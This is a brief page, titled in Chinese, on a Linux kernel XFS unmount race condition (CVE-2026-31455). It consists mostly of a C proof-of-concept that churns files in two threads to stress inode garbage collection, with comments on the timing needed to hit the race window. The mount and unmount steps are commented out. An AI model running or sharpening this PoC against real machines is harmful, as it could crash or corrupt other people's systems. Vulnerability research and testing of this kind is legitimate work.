CVE-2026-31455 Linux内核XFS竞态条件漏洞

/* * PoC for CVE-2026-31455 (XFS Unmount Race Condition) * This PoC attempts to trigger the race by stressing XFS operations * and triggering unmount/flush sequences. * Compile: gcc -o poc_xfs poc_xfs.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <sys/mount.h> #include <fcntl.h> #include <pthread.h> #define MOUNT_POINT "/mnt/xfs_test" #define LOOP_DEVICE "/dev/loop0" void* stress_inode_gc(void* arg) { // Create and delete files to trigger inodegc for (int i = 0; i < 100000; i++) { char fname[256]; snprintf(fname, sizeof(fname), "%s/file_%d", MOUNT_POINT, i); int fd = open(fname, O_CREAT | O_RDWR, 0644); if (fd > 0) close(fd); unlink(fname); } return NULL; } int main() { pthread_t t1, t2; // Note: Requires setup of XFS filesystem on LOOP_DEVICE beforehand // mount(LOOP_DEVICE, MOUNT_POINT, "xfs", 0, NULL); printf("Starting stress test to trigger XFS race condition...\n"); // Spawn threads to stress background reclaim and inodegc pthread_create(&t1, NULL, stress_inode_gc, NULL); pthread_create(&t2, NULL, stress_inode_gc, NULL); // Simulate the unmount sequence or trigger specific syscalls // In a real exploit scenario, timing is critical to hit the window // inside xfs_unmount_flush_inodes(). sleep(1); // Triggering unmount (usually requires root) // system("umount " MOUNT_POINT); pthread_join(t1, NULL); pthread_join(t2, NULL); printf("PoC execution finished.\n"); return 0; }